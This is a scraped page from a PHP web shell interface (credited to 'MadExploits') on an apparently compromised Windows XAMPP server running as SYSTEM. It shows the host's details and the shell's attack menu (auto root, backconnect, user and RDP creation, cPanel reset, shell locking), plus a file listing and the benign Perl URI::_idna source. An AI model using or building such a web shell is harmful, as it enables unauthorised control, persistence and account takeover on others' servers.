Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
perl /
vendor /
lib /
URI /
[ HOME SHELL ]
Name
Size
Permission
Action
file
[ DIR ]
drwxrwxrwx
urn
[ DIR ]
drwxrwxrwx
Escape.pm
6.9
KB
-rw-rw-rw-
Heuristic.pm
6.37
KB
-rw-rw-rw-
IRI.pm
794
B
-rw-rw-rw-
QueryParam.pm
4.75
KB
-rw-rw-rw-
Split.pm
2.3
KB
-rw-rw-rw-
URL.pm
5.36
KB
-rw-rw-rw-
WithBase.pm
3.77
KB
-rw-rw-rw-
_foreign.pm
107
B
-rw-rw-rw-
_generic.pm
5.69
KB
-rw-rw-rw-
_idna.pm
2.03
KB
-rw-rw-rw-
_ldap.pm
3.17
KB
-rw-rw-rw-
_login.pm
231
B
-rw-rw-rw-
_punycode.pm
5.49
KB
-rw-rw-rw-
_query.pm
2.47
KB
-rw-rw-rw-
_segment.pm
416
B
-rw-rw-rw-
_server.pm
3.64
KB
-rw-rw-rw-
_userpass.pm
1.01
KB
-rw-rw-rw-
data.pm
3.31
KB
-rw-rw-rw-
file.pm
9.53
KB
-rw-rw-rw-
ftp.pm
1.03
KB
-rw-rw-rw-
gopher.pm
2.37
KB
-rw-rw-rw-
http.pm
425
B
-rw-rw-rw-
https.pm
144
B
-rw-rw-rw-
ldap.pm
2.86
KB
-rw-rw-rw-
ldapi.pm
441
B
-rw-rw-rw-
ldaps.pm
144
B
-rw-rw-rw-
mailto.pm
1.25
KB
-rw-rw-rw-
mms.pm
125
B
-rw-rw-rw-
news.pm
1.42
KB
-rw-rw-rw-
nntp.pm
127
B
-rw-rw-rw-
pop.pm
1.18
KB
-rw-rw-rw-
rlogin.pm
129
B
-rw-rw-rw-
rsync.pm
207
B
-rw-rw-rw-
rtsp.pm
125
B
-rw-rw-rw-
rtspu.pm
126
B
-rw-rw-rw-
sftp.pm
98
B
-rw-rw-rw-
sip.pm
1.67
KB
-rw-rw-rw-
sips.pm
143
B
-rw-rw-rw-
snews.pm
172
B
-rw-rw-rw-
ssh.pm
175
B
-rw-rw-rw-
telnet.pm
128
B
-rw-rw-rw-
tn3270.pm
128
B
-rw-rw-rw-
urn.pm
2.12
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : _idna.pm
package URI::_idna; # This module implements the RFCs 3490 (IDNA) and 3491 (Nameprep) # based on Python-2.6.4/Lib/encodings/idna.py use strict; use warnings; use URI::_punycode qw(encode_punycode decode_punycode); use Carp qw(croak); our $VERSION = '1.76'; BEGIN { *URI::_idna::_ENV_::JOIN_LEAKS_UTF8_FLAGS = "$]" < 5.008_003 ? sub () { 1 } : sub () { 0 } ; } my $ASCII = qr/^[\x00-\x7F]*\z/; sub encode { my $idomain = shift; my @labels = split(/\./, $idomain, -1); my @last_empty; push(@last_empty, pop @labels) if @labels > 1 && $labels[-1] eq ""; for (@labels) { $_ = ToASCII($_); } return eval 'join(".", @labels, @last_empty)' if URI::_idna::_ENV_::JOIN_LEAKS_UTF8_FLAGS; return join(".", @labels, @last_empty); } sub decode { my $domain = shift; return join(".", map ToUnicode($_), split(/\./, $domain, -1)) } sub nameprep { # XXX real implementation missing my $label = shift; $label = lc($label); return $label; } sub check_size { my $label = shift; croak "Label empty" if $label eq ""; croak "Label too long" if length($label) > 63; return $label; } sub ToASCII { my $label = shift; return check_size($label) if $label =~ $ASCII; # Step 2: nameprep $label = nameprep($label); # Step 3: UseSTD3ASCIIRules is false # Step 4: try ASCII again return check_size($label) if $label =~ $ASCII; # Step 5: Check ACE prefix if ($label =~ /^xn--/) { croak "Label starts with ACE prefix"; } # Step 6: Encode with PUNYCODE $label = encode_punycode($label); # Step 7: Prepend ACE prefix $label = "xn--$label"; # Step 8: Check size return check_size($label); } sub ToUnicode { my $label = shift; $label = nameprep($label) unless $label =~ $ASCII; return $label unless $label =~ /^xn--/; my $result = decode_punycode(substr($label, 4)); my $label2 = ToASCII($result); if (lc($label) ne $label2) { croak "IDNA does not round-trip: '\L$label\E' vs '$label2'"; } return $result; } 1;
Close
